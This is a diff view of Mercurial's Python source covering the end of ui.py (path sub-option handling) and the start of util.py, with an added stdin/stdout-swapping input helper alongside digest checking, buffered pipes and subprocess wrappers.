1634 except KeyError:
1643 continue
1635 continue
1644 return None
1636 return None
1645
1637
1646 # Most likely empty string.
1638 # Most likely empty string.
1647 # This may need to raise in the future.
1639 # This may need to raise in the future.
1648 if not name:
1640 if not name:
1649 return None
1641 return None
1650
1642
1651 try:
1643 try:
1652 return self[name]
1644 return self[name]
1653 except KeyError:
1645 except KeyError:
1654 # Try to resolve as a local path or URI.
1646 # Try to resolve as a local path or URI.
1655 try:
1647 try:
1656 # We don't pass sub-options in, so no need to pass ui instance.
1648 # We don't pass sub-options in, so no need to pass ui instance.
1657 return path(None, None, rawloc=name)
1649 return path(None, None, rawloc=name)
1658 except ValueError:
1650 except ValueError:
1659 raise error.RepoError(_('repository %s does not exist') %
1651 raise error.RepoError(_('repository %s does not exist') %
1660 name)
1652 name)
1661
1653
1662 _pathsuboptions = {}
1654 _pathsuboptions = {}
1663
1655
1664 def pathsuboption(option, attr):
1656 def pathsuboption(option, attr):
1665 """Decorator used to declare a path sub-option.
1657 """Decorator used to declare a path sub-option.
1666
1658
1667 Arguments are the sub-option name and the attribute it should set on
1659 Arguments are the sub-option name and the attribute it should set on
1668 ``path`` instances.
1660 ``path`` instances.
1669
1661
1670 The decorated function will receive as arguments a ``ui`` instance,
1662 The decorated function will receive as arguments a ``ui`` instance,
1671 ``path`` instance, and the string value of this option from the config.
1663 ``path`` instance, and the string value of this option from the config.
1672 The function should return the value that will be set on the ``path``
1664 The function should return the value that will be set on the ``path``
1673 instance.
1665 instance.
1674
1666
1675 This decorator can be used to perform additional verification of
1667 This decorator can be used to perform additional verification of
1676 sub-options and to change the type of sub-options.
1668 sub-options and to change the type of sub-options.
1677 """
1669 """
1678 def register(func):
1670 def register(func):
1679 _pathsuboptions[option] = (attr, func)
1671 _pathsuboptions[option] = (attr, func)
1680 return func
1672 return func
1681 return register
1673 return register
1682
1674
1683 @pathsuboption('pushurl', 'pushloc')
1675 @pathsuboption('pushurl', 'pushloc')
1684 def pushurlpathoption(ui, path, value):
1676 def pushurlpathoption(ui, path, value):
1685 u = util.url(value)
1677 u = util.url(value)
1686 # Actually require a URL.
1678 # Actually require a URL.
1687 if not u.scheme:
1679 if not u.scheme:
1688 ui.warn(_('(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
1680 ui.warn(_('(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
1689 return None
1681 return None
1690
1682
1691 # Don't support the #foo syntax in the push URL to declare branch to
1683 # Don't support the #foo syntax in the push URL to declare branch to
1692 # push.
1684 # push.
1693 if u.fragment:
1685 if u.fragment:
1694 ui.warn(_('("#fragment" in paths.%s:pushurl not supported; '
1686 ui.warn(_('("#fragment" in paths.%s:pushurl not supported; '
1695 'ignoring)\n') % path.name)
1687 'ignoring)\n') % path.name)
1696 u.fragment = None
1688 u.fragment = None
1697
1689
1698 return str(u)
1690 return str(u)
1699
1691
1700 @pathsuboption('pushrev', 'pushrev')
1692 @pathsuboption('pushrev', 'pushrev')
1701 def pushrevpathoption(ui, path, value):
1693 def pushrevpathoption(ui, path, value):
1702 return value
1694 return value
1703
1695
1704 class path(object):
1696 class path(object):
1705 """Represents an individual path and its configuration."""
1697 """Represents an individual path and its configuration."""
1706
1698
1707 def __init__(self, ui, name, rawloc=None, suboptions=None):
1699 def __init__(self, ui, name, rawloc=None, suboptions=None):
1708 """Construct a path from its config options.
1700 """Construct a path from its config options.
1709
1701
1710 ``ui`` is the ``ui`` instance the path is coming from.
1702 ``ui`` is the ``ui`` instance the path is coming from.
1711 ``name`` is the symbolic name of the path.
1703 ``name`` is the symbolic name of the path.
1712 ``rawloc`` is the raw location, as defined in the config.
1704 ``rawloc`` is the raw location, as defined in the config.
1713 ``pushloc`` is the raw locations pushes should be made to.
1705 ``pushloc`` is the raw locations pushes should be made to.
1714
1706
1715 If ``name`` is not defined, we require that the location be a) a local
1707 If ``name`` is not defined, we require that the location be a) a local
1716 filesystem path with a .hg directory or b) a URL. If not,
1708 filesystem path with a .hg directory or b) a URL. If not,
1717 ``ValueError`` is raised.
1709 ``ValueError`` is raised.
1718 """
1710 """
1719 if not rawloc:
1711 if not rawloc:
1720 raise ValueError('rawloc must be defined')
1712 raise ValueError('rawloc must be defined')
1721
1713
1722 # Locations may define branches via syntax <base>#<branch>.
1714 # Locations may define branches via syntax <base>#<branch>.
1723 u = util.url(rawloc)
1715 u = util.url(rawloc)
1724 branch = None
1716 branch = None
1725 if u.fragment:
1717 if u.fragment:
1726 branch = u.fragment
1718 branch = u.fragment
1727 u.fragment = None
1719 u.fragment = None
1728
1720
1729 self.url = u
1721 self.url = u
1730 self.branch = branch
1722 self.branch = branch
1731
1723
1732 self.name = name
1724 self.name = name
1733 self.rawloc = rawloc
1725 self.rawloc = rawloc
1734 self.loc = '%s' % u
1726 self.loc = '%s' % u
1735
1727
1736 # When given a raw location but not a symbolic name, validate the
1728 # When given a raw location but not a symbolic name, validate the
1737 # location is valid.
1729 # location is valid.
1738 if not name and not u.scheme and not self._isvalidlocalpath(self.loc):
1730 if not name and not u.scheme and not self._isvalidlocalpath(self.loc):
1739 raise ValueError('location is not a URL or path to a local '
1731 raise ValueError('location is not a URL or path to a local '
1740 'repo: %s' % rawloc)
1732 'repo: %s' % rawloc)
1741
1733
1742 suboptions = suboptions or {}
1734 suboptions = suboptions or {}
1743
1735
1744 # Now process the sub-options. If a sub-option is registered, its
1736 # Now process the sub-options. If a sub-option is registered, its
1745 # attribute will always be present. The value will be None if there
1737 # attribute will always be present. The value will be None if there
1746 # was no valid sub-option.
1738 # was no valid sub-option.
1747 for suboption, (attr, func) in _pathsuboptions.iteritems():
1739 for suboption, (attr, func) in _pathsuboptions.iteritems():
1748 if suboption not in suboptions:
1740 if suboption not in suboptions:
1749 setattr(self, attr, None)
1741 setattr(self, attr, None)
1750 continue
1742 continue
1751
1743
1752 value = func(ui, self, suboptions[suboption])
1744 value = func(ui, self, suboptions[suboption])
1753 setattr(self, attr, value)
1745 setattr(self, attr, value)
1754
1746
1755 def _isvalidlocalpath(self, path):
1747 def _isvalidlocalpath(self, path):
1756 """Returns True if the given path is a potentially valid repository.
1748 """Returns True if the given path is a potentially valid repository.
1757 This is its own function so that extensions can change the definition of
1749 This is its own function so that extensions can change the definition of
1758 'valid' in this case (like when pulling from a git repo into a hg
1750 'valid' in this case (like when pulling from a git repo into a hg
1759 one)."""
1751 one)."""
1760 return os.path.isdir(os.path.join(path, '.hg'))
1752 return os.path.isdir(os.path.join(path, '.hg'))
1761
1753
1762 @property
1754 @property
1763 def suboptions(self):
1755 def suboptions(self):
1764 """Return sub-options and their values for this path.
1756 """Return sub-options and their values for this path.
1765
1757
1766 This is intended to be used for presentation purposes.
1758 This is intended to be used for presentation purposes.
1767 """
1759 """
1768 d = {}
1760 d = {}
1769 for subopt, (attr, _func) in _pathsuboptions.iteritems():
1761 for subopt, (attr, _func) in _pathsuboptions.iteritems():
1770 value = getattr(self, attr)
1762 value = getattr(self, attr)
1771 if value is not None:
1763 if value is not None:
1772 d[subopt] = value
1764 d[subopt] = value
1773 return d
1765 return d
1774
1766
1775 # we instantiate one globally shared progress bar to avoid
1767 # we instantiate one globally shared progress bar to avoid
1776 # competing progress bars when multiple UI objects get created
1768 # competing progress bars when multiple UI objects get created
1777 _progresssingleton = None
1769 _progresssingleton = None
1778
1770
1779 def getprogbar(ui):
1771 def getprogbar(ui):
1780 global _progresssingleton
1772 global _progresssingleton
1781 if _progresssingleton is None:
1773 if _progresssingleton is None:
1782 # passing 'ui' object to the singleton is fishy,
1774 # passing 'ui' object to the singleton is fishy,
1783 # this is how the extension used to work but feel free to rework it.
1775 # this is how the extension used to work but feel free to rework it.
1784 _progresssingleton = progress.progbar(ui)
1776 _progresssingleton = progress.progbar(ui)
1785 return _progresssingleton
1777 return _progresssingleton
@@ -1,3765 +1,3777 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import
16 from __future__ import absolute_import
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import calendar
20 import calendar
21 import codecs
21 import codecs
22 import collections
22 import collections
23 import contextlib
23 import contextlib
24 import datetime
24 import datetime
25 import errno
25 import errno
26 import gc
26 import gc
27 import hashlib
27 import hashlib
28 import imp
28 import imp
29 import os
29 import os
30 import platform as pyplatform
30 import platform as pyplatform
31 import re as remod
31 import re as remod
32 import shutil
32 import shutil
33 import signal
33 import signal
34 import socket
34 import socket
35 import stat
35 import stat
36 import string
36 import string
37 import subprocess
37 import subprocess
38 import sys
38 import sys
39 import tempfile
39 import tempfile
40 import textwrap
40 import textwrap
41 import time
41 import time
42 import traceback
42 import traceback
43 import warnings
43 import warnings
44 import zlib
44 import zlib
45
45
46 from . import (
46 from . import (
47 encoding,
47 encoding,
48 error,
48 error,
49 i18n,
49 i18n,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 )
52 )
53
53
54 base85 = policy.importmod(r'base85')
54 base85 = policy.importmod(r'base85')
55 osutil = policy.importmod(r'osutil')
55 osutil = policy.importmod(r'osutil')
56 parsers = policy.importmod(r'parsers')
56 parsers = policy.importmod(r'parsers')
57
57
58 b85decode = base85.b85decode
58 b85decode = base85.b85decode
59 b85encode = base85.b85encode
59 b85encode = base85.b85encode
60
60
61 cookielib = pycompat.cookielib
61 cookielib = pycompat.cookielib
62 empty = pycompat.empty
62 empty = pycompat.empty
63 httplib = pycompat.httplib
63 httplib = pycompat.httplib
64 httpserver = pycompat.httpserver
64 httpserver = pycompat.httpserver
65 pickle = pycompat.pickle
65 pickle = pycompat.pickle
66 queue = pycompat.queue
66 queue = pycompat.queue
67 socketserver = pycompat.socketserver
67 socketserver = pycompat.socketserver
68 stderr = pycompat.stderr
68 stderr = pycompat.stderr
69 stdin = pycompat.stdin
69 stdin = pycompat.stdin
70 stdout = pycompat.stdout
70 stdout = pycompat.stdout
71 stringio = pycompat.stringio
71 stringio = pycompat.stringio
72 urlerr = pycompat.urlerr
72 urlerr = pycompat.urlerr
73 urlreq = pycompat.urlreq
73 urlreq = pycompat.urlreq
74 xmlrpclib = pycompat.xmlrpclib
74 xmlrpclib = pycompat.xmlrpclib
75
75
76 # workaround for win32mbcs
76 # workaround for win32mbcs
77 _filenamebytestr = pycompat.bytestr
77 _filenamebytestr = pycompat.bytestr
78
78
79 def isatty(fp):
79 def isatty(fp):
80 try:
80 try:
81 return fp.isatty()
81 return fp.isatty()
82 except AttributeError:
82 except AttributeError:
83 return False
83 return False
84
84
85 # glibc determines buffering on first write to stdout - if we replace a TTY
85 # glibc determines buffering on first write to stdout - if we replace a TTY
86 # destined stdout with a pipe destined stdout (e.g. pager), we want line
86 # destined stdout with a pipe destined stdout (e.g. pager), we want line
87 # buffering
87 # buffering
88 if isatty(stdout):
88 if isatty(stdout):
89 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
89 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
90
90
91 if pycompat.osname == 'nt':
91 if pycompat.osname == 'nt':
92 from . import windows as platform
92 from . import windows as platform
93 stdout = platform.winstdout(stdout)
93 stdout = platform.winstdout(stdout)
94 else:
94 else:
95 from . import posix as platform
95 from . import posix as platform
96
96
97 _ = i18n._
97 _ = i18n._
98
98
99 bindunixsocket = platform.bindunixsocket
99 bindunixsocket = platform.bindunixsocket
100 cachestat = platform.cachestat
100 cachestat = platform.cachestat
101 checkexec = platform.checkexec
101 checkexec = platform.checkexec
102 checklink = platform.checklink
102 checklink = platform.checklink
103 copymode = platform.copymode
103 copymode = platform.copymode
104 executablepath = platform.executablepath
104 executablepath = platform.executablepath
105 expandglobs = platform.expandglobs
105 expandglobs = platform.expandglobs
106 explainexit = platform.explainexit
106 explainexit = platform.explainexit
107 findexe = platform.findexe
107 findexe = platform.findexe
108 gethgcmd = platform.gethgcmd
108 gethgcmd = platform.gethgcmd
109 getuser = platform.getuser
109 getuser = platform.getuser
110 getpid = os.getpid
110 getpid = os.getpid
111 groupmembers = platform.groupmembers
111 groupmembers = platform.groupmembers
112 groupname = platform.groupname
112 groupname = platform.groupname
113 hidewindow = platform.hidewindow
113 hidewindow = platform.hidewindow
114 isexec = platform.isexec
114 isexec = platform.isexec
115 isowner = platform.isowner
115 isowner = platform.isowner
116 listdir = osutil.listdir
116 listdir = osutil.listdir
117 localpath = platform.localpath
117 localpath = platform.localpath
118 lookupreg = platform.lookupreg
118 lookupreg = platform.lookupreg
119 makedir = platform.makedir
119 makedir = platform.makedir
120 nlinks = platform.nlinks
120 nlinks = platform.nlinks
121 normpath = platform.normpath
121 normpath = platform.normpath
122 normcase = platform.normcase
122 normcase = platform.normcase
123 normcasespec = platform.normcasespec
123 normcasespec = platform.normcasespec
124 normcasefallback = platform.normcasefallback
124 normcasefallback = platform.normcasefallback
125 openhardlinks = platform.openhardlinks
125 openhardlinks = platform.openhardlinks
126 oslink = platform.oslink
126 oslink = platform.oslink
127 parsepatchoutput = platform.parsepatchoutput
127 parsepatchoutput = platform.parsepatchoutput
128 pconvert = platform.pconvert
128 pconvert = platform.pconvert
129 poll = platform.poll
129 poll = platform.poll
130 popen = platform.popen
130 popen = platform.popen
131 posixfile = platform.posixfile
131 posixfile = platform.posixfile
132 quotecommand = platform.quotecommand
132 quotecommand = platform.quotecommand
133 readpipe = platform.readpipe
133 readpipe = platform.readpipe
134 rename = platform.rename
134 rename = platform.rename
135 removedirs = platform.removedirs
135 removedirs = platform.removedirs
136 samedevice = platform.samedevice
136 samedevice = platform.samedevice
137 samefile = platform.samefile
137 samefile = platform.samefile
138 samestat = platform.samestat
138 samestat = platform.samestat
139 setbinary = platform.setbinary
139 setbinary = platform.setbinary
140 setflags = platform.setflags
140 setflags = platform.setflags
141 setsignalhandler = platform.setsignalhandler
141 setsignalhandler = platform.setsignalhandler
142 shellquote = platform.shellquote
142 shellquote = platform.shellquote
143 spawndetached = platform.spawndetached
143 spawndetached = platform.spawndetached
144 split = platform.split
144 split = platform.split
145 sshargs = platform.sshargs
145 sshargs = platform.sshargs
146 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
146 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
147 statisexec = platform.statisexec
147 statisexec = platform.statisexec
148 statislink = platform.statislink
148 statislink = platform.statislink
149 testpid = platform.testpid
149 testpid = platform.testpid
150 umask = platform.umask
150 umask = platform.umask
151 unlink = platform.unlink
151 unlink = platform.unlink
152 username = platform.username
152 username = platform.username
153
153
154 try:
154 try:
155 recvfds = osutil.recvfds
155 recvfds = osutil.recvfds
156 except AttributeError:
156 except AttributeError:
157 pass
157 pass
158 try:
158 try:
159 setprocname = osutil.setprocname
159 setprocname = osutil.setprocname
160 except AttributeError:
160 except AttributeError:
161 pass
161 pass
162
162
163 # Python compatibility
163 # Python compatibility
164
164
165 _notset = object()
165 _notset = object()
166
166
167 # disable Python's problematic floating point timestamps (issue4836)
167 # disable Python's problematic floating point timestamps (issue4836)
168 # (Python hypocritically says you shouldn't change this behavior in
168 # (Python hypocritically says you shouldn't change this behavior in
169 # libraries, and sure enough Mercurial is not a library.)
169 # libraries, and sure enough Mercurial is not a library.)
170 os.stat_float_times(False)
170 os.stat_float_times(False)
171
171
172 def safehasattr(thing, attr):
172 def safehasattr(thing, attr):
173 return getattr(thing, attr, _notset) is not _notset
173 return getattr(thing, attr, _notset) is not _notset
174
174
175 def bytesinput(fin, fout, *args, **kwargs):
176 sin, sout = sys.stdin, sys.stdout
177 try:
178 if pycompat.ispy3:
179 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
180 return encoding.strtolocal(input(*args, **kwargs))
181 else:
182 sys.stdin, sys.stdout = fin, fout
183 return raw_input(*args, **kwargs)
184 finally:
185 sys.stdin, sys.stdout = sin, sout
186
175 def bitsfrom(container):
187 def bitsfrom(container):
176 bits = 0
188 bits = 0
177 for bit in container:
189 for bit in container:
178 bits |= bit
190 bits |= bit
179 return bits
191 return bits
180
192
181 # python 2.6 still have deprecation warning enabled by default. We do not want
193 # python 2.6 still have deprecation warning enabled by default. We do not want
182 # to display anything to standard user so detect if we are running test and
194 # to display anything to standard user so detect if we are running test and
183 # only use python deprecation warning in this case.
195 # only use python deprecation warning in this case.
184 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
196 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
185 if _dowarn:
197 if _dowarn:
186 # explicitly unfilter our warning for python 2.7
198 # explicitly unfilter our warning for python 2.7
187 #
199 #
188 # The option of setting PYTHONWARNINGS in the test runner was investigated.
200 # The option of setting PYTHONWARNINGS in the test runner was investigated.
189 # However, module name set through PYTHONWARNINGS was exactly matched, so
201 # However, module name set through PYTHONWARNINGS was exactly matched, so
190 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
202 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
191 # makes the whole PYTHONWARNINGS thing useless for our usecase.
203 # makes the whole PYTHONWARNINGS thing useless for our usecase.
192 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
204 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
193 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
205 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
194 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
206 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
195
207
196 def nouideprecwarn(msg, version, stacklevel=1):
208 def nouideprecwarn(msg, version, stacklevel=1):
197 """Issue an python native deprecation warning
209 """Issue an python native deprecation warning
198
210
199 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
211 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
200 """
212 """
201 if _dowarn:
213 if _dowarn:
202 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
214 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
203 " update your code.)") % version
215 " update your code.)") % version
204 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
216 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
205
217
206 DIGESTS = {
218 DIGESTS = {
207 'md5': hashlib.md5,
219 'md5': hashlib.md5,
208 'sha1': hashlib.sha1,
220 'sha1': hashlib.sha1,
209 'sha512': hashlib.sha512,
221 'sha512': hashlib.sha512,
210 }
222 }
211 # List of digest types from strongest to weakest
223 # List of digest types from strongest to weakest
212 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
224 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
213
225
214 for k in DIGESTS_BY_STRENGTH:
226 for k in DIGESTS_BY_STRENGTH:
215 assert k in DIGESTS
227 assert k in DIGESTS
216
228
217 class digester(object):
229 class digester(object):
218 """helper to compute digests.
230 """helper to compute digests.
219
231
220 This helper can be used to compute one or more digests given their name.
232 This helper can be used to compute one or more digests given their name.
221
233
222 >>> d = digester(['md5', 'sha1'])
234 >>> d = digester(['md5', 'sha1'])
223 >>> d.update('foo')
235 >>> d.update('foo')
224 >>> [k for k in sorted(d)]
236 >>> [k for k in sorted(d)]
225 ['md5', 'sha1']
237 ['md5', 'sha1']
226 >>> d['md5']
238 >>> d['md5']
227 'acbd18db4cc2f85cedef654fccc4a4d8'
239 'acbd18db4cc2f85cedef654fccc4a4d8'
228 >>> d['sha1']
240 >>> d['sha1']
229 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
241 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
230 >>> digester.preferred(['md5', 'sha1'])
242 >>> digester.preferred(['md5', 'sha1'])
231 'sha1'
243 'sha1'
232 """
244 """
233
245
234 def __init__(self, digests, s=''):
246 def __init__(self, digests, s=''):
235 self._hashes = {}
247 self._hashes = {}
236 for k in digests:
248 for k in digests:
237 if k not in DIGESTS:
249 if k not in DIGESTS:
238 raise Abort(_('unknown digest type: %s') % k)
250 raise Abort(_('unknown digest type: %s') % k)
239 self._hashes[k] = DIGESTS[k]()
251 self._hashes[k] = DIGESTS[k]()
240 if s:
252 if s:
241 self.update(s)
253 self.update(s)
242
254
243 def update(self, data):
255 def update(self, data):
244 for h in self._hashes.values():
256 for h in self._hashes.values():
245 h.update(data)
257 h.update(data)
246
258
247 def __getitem__(self, key):
259 def __getitem__(self, key):
248 if key not in DIGESTS:
260 if key not in DIGESTS:
249 raise Abort(_('unknown digest type: %s') % k)
261 raise Abort(_('unknown digest type: %s') % k)
250 return self._hashes[key].hexdigest()
262 return self._hashes[key].hexdigest()
251
263
252 def __iter__(self):
264 def __iter__(self):
253 return iter(self._hashes)
265 return iter(self._hashes)
254
266
255 @staticmethod
267 @staticmethod
256 def preferred(supported):
268 def preferred(supported):
257 """returns the strongest digest type in both supported and DIGESTS."""
269 """returns the strongest digest type in both supported and DIGESTS."""
258
270
259 for k in DIGESTS_BY_STRENGTH:
271 for k in DIGESTS_BY_STRENGTH:
260 if k in supported:
272 if k in supported:
261 return k
273 return k
262 return None
274 return None
263
275
264 class digestchecker(object):
276 class digestchecker(object):
265 """file handle wrapper that additionally checks content against a given
277 """file handle wrapper that additionally checks content against a given
266 size and digests.
278 size and digests.
267
279
268 d = digestchecker(fh, size, {'md5': '...'})
280 d = digestchecker(fh, size, {'md5': '...'})
269
281
270 When multiple digests are given, all of them are validated.
282 When multiple digests are given, all of them are validated.
271 """
283 """
272
284
273 def __init__(self, fh, size, digests):
285 def __init__(self, fh, size, digests):
274 self._fh = fh
286 self._fh = fh
275 self._size = size
287 self._size = size
276 self._got = 0
288 self._got = 0
277 self._digests = dict(digests)
289 self._digests = dict(digests)
278 self._digester = digester(self._digests.keys())
290 self._digester = digester(self._digests.keys())
279
291
280 def read(self, length=-1):
292 def read(self, length=-1):
281 content = self._fh.read(length)
293 content = self._fh.read(length)
282 self._digester.update(content)
294 self._digester.update(content)
283 self._got += len(content)
295 self._got += len(content)
284 return content
296 return content
285
297
286 def validate(self):
298 def validate(self):
287 if self._size != self._got:
299 if self._size != self._got:
288 raise Abort(_('size mismatch: expected %d, got %d') %
300 raise Abort(_('size mismatch: expected %d, got %d') %
289 (self._size, self._got))
301 (self._size, self._got))
290 for k, v in self._digests.items():
302 for k, v in self._digests.items():
291 if v != self._digester[k]:
303 if v != self._digester[k]:
292 # i18n: first parameter is a digest name
304 # i18n: first parameter is a digest name
293 raise Abort(_('%s mismatch: expected %s, got %s') %
305 raise Abort(_('%s mismatch: expected %s, got %s') %
294 (k, v, self._digester[k]))
306 (k, v, self._digester[k]))
295
307
296 try:
308 try:
297 buffer = buffer
309 buffer = buffer
298 except NameError:
310 except NameError:
299 def buffer(sliceable, offset=0, length=None):
311 def buffer(sliceable, offset=0, length=None):
300 if length is not None:
312 if length is not None:
301 return memoryview(sliceable)[offset:offset + length]
313 return memoryview(sliceable)[offset:offset + length]
302 return memoryview(sliceable)[offset:]
314 return memoryview(sliceable)[offset:]
303
315
304 closefds = pycompat.osname == 'posix'
316 closefds = pycompat.osname == 'posix'
305
317
306 _chunksize = 4096
318 _chunksize = 4096
307
319
308 class bufferedinputpipe(object):
320 class bufferedinputpipe(object):
309 """a manually buffered input pipe
321 """a manually buffered input pipe
310
322
311 Python will not let us use buffered IO and lazy reading with 'polling' at
323 Python will not let us use buffered IO and lazy reading with 'polling' at
312 the same time. We cannot probe the buffer state and select will not detect
324 the same time. We cannot probe the buffer state and select will not detect
313 that data are ready to read if they are already buffered.
325 that data are ready to read if they are already buffered.
314
326
315 This class let us work around that by implementing its own buffering
327 This class let us work around that by implementing its own buffering
316 (allowing efficient readline) while offering a way to know if the buffer is
328 (allowing efficient readline) while offering a way to know if the buffer is
317 empty from the output (allowing collaboration of the buffer with polling).
329 empty from the output (allowing collaboration of the buffer with polling).
318
330
319 This class lives in the 'util' module because it makes use of the 'os'
331 This class lives in the 'util' module because it makes use of the 'os'
320 module from the python stdlib.
332 module from the python stdlib.
321 """
333 """
322
334
323 def __init__(self, input):
335 def __init__(self, input):
324 self._input = input
336 self._input = input
325 self._buffer = []
337 self._buffer = []
326 self._eof = False
338 self._eof = False
327 self._lenbuf = 0
339 self._lenbuf = 0
328
340
329 @property
341 @property
330 def hasbuffer(self):
342 def hasbuffer(self):
331 """True is any data is currently buffered
343 """True is any data is currently buffered
332
344
333 This will be used externally a pre-step for polling IO. If there is
345 This will be used externally a pre-step for polling IO. If there is
334 already data then no polling should be set in place."""
346 already data then no polling should be set in place."""
335 return bool(self._buffer)
347 return bool(self._buffer)
336
348
337 @property
349 @property
338 def closed(self):
350 def closed(self):
339 return self._input.closed
351 return self._input.closed
340
352
341 def fileno(self):
353 def fileno(self):
342 return self._input.fileno()
354 return self._input.fileno()
343
355
344 def close(self):
356 def close(self):
345 return self._input.close()
357 return self._input.close()
346
358
347 def read(self, size):
359 def read(self, size):
348 while (not self._eof) and (self._lenbuf < size):
360 while (not self._eof) and (self._lenbuf < size):
349 self._fillbuffer()
361 self._fillbuffer()
350 return self._frombuffer(size)
362 return self._frombuffer(size)
351
363
352 def readline(self, *args, **kwargs):
364 def readline(self, *args, **kwargs):
353 if 1 < len(self._buffer):
365 if 1 < len(self._buffer):
354 # this should not happen because both read and readline end with a
366 # this should not happen because both read and readline end with a
355 # _frombuffer call that collapse it.
367 # _frombuffer call that collapse it.
356 self._buffer = [''.join(self._buffer)]
368 self._buffer = [''.join(self._buffer)]
357 self._lenbuf = len(self._buffer[0])
369 self._lenbuf = len(self._buffer[0])
358 lfi = -1
370 lfi = -1
359 if self._buffer:
371 if self._buffer:
360 lfi = self._buffer[-1].find('\n')
372 lfi = self._buffer[-1].find('\n')
361 while (not self._eof) and lfi < 0:
373 while (not self._eof) and lfi < 0:
362 self._fillbuffer()
374 self._fillbuffer()
363 if self._buffer:
375 if self._buffer:
364 lfi = self._buffer[-1].find('\n')
376 lfi = self._buffer[-1].find('\n')
365 size = lfi + 1
377 size = lfi + 1
366 if lfi < 0: # end of file
378 if lfi < 0: # end of file
367 size = self._lenbuf
379 size = self._lenbuf
368 elif 1 < len(self._buffer):
380 elif 1 < len(self._buffer):
369 # we need to take previous chunks into account
381 # we need to take previous chunks into account
370 size += self._lenbuf - len(self._buffer[-1])
382 size += self._lenbuf - len(self._buffer[-1])
371 return self._frombuffer(size)
383 return self._frombuffer(size)
372
384
373 def _frombuffer(self, size):
385 def _frombuffer(self, size):
374 """return at most 'size' data from the buffer
386 """return at most 'size' data from the buffer
375
387
376 The data are removed from the buffer."""
388 The data are removed from the buffer."""
377 if size == 0 or not self._buffer:
389 if size == 0 or not self._buffer:
378 return ''
390 return ''
379 buf = self._buffer[0]
391 buf = self._buffer[0]
380 if 1 < len(self._buffer):
392 if 1 < len(self._buffer):
381 buf = ''.join(self._buffer)
393 buf = ''.join(self._buffer)
382
394
383 data = buf[:size]
395 data = buf[:size]
384 buf = buf[len(data):]
396 buf = buf[len(data):]
385 if buf:
397 if buf:
386 self._buffer = [buf]
398 self._buffer = [buf]
387 self._lenbuf = len(buf)
399 self._lenbuf = len(buf)
388 else:
400 else:
389 self._buffer = []
401 self._buffer = []
390 self._lenbuf = 0
402 self._lenbuf = 0
391 return data
403 return data
392
404
393 def _fillbuffer(self):
405 def _fillbuffer(self):
394 """read data to the buffer"""
406 """read data to the buffer"""
395 data = os.read(self._input.fileno(), _chunksize)
407 data = os.read(self._input.fileno(), _chunksize)
396 if not data:
408 if not data:
397 self._eof = True
409 self._eof = True
398 else:
410 else:
399 self._lenbuf += len(data)
411 self._lenbuf += len(data)
400 self._buffer.append(data)
412 self._buffer.append(data)
401
413
402 def popen2(cmd, env=None, newlines=False):
414 def popen2(cmd, env=None, newlines=False):
403 # Setting bufsize to -1 lets the system decide the buffer size.
415 # Setting bufsize to -1 lets the system decide the buffer size.
404 # The default for bufsize is 0, meaning unbuffered. This leads to
416 # The default for bufsize is 0, meaning unbuffered. This leads to
405 # poor performance on Mac OS X: http://bugs.python.org/issue4194
417 # poor performance on Mac OS X: http://bugs.python.org/issue4194
406 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
418 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
407 close_fds=closefds,
419 close_fds=closefds,
408 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
420 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
409 universal_newlines=newlines,
421 universal_newlines=newlines,
410 env=env)
422 env=env)
411 return p.stdin, p.stdout
423 return p.stdin, p.stdout
412
424
413 def popen3(cmd, env=None, newlines=False):
425 def popen3(cmd, env=None, newlines=False):
414 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
426 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
415 return stdin, stdout, stderr
427 return stdin, stdout, stderr
416
428
417 def popen4(cmd, env=None, newlines=False, bufsize=-1):
429 def popen4(cmd, env=None, newlines=False, bufsize=-1):
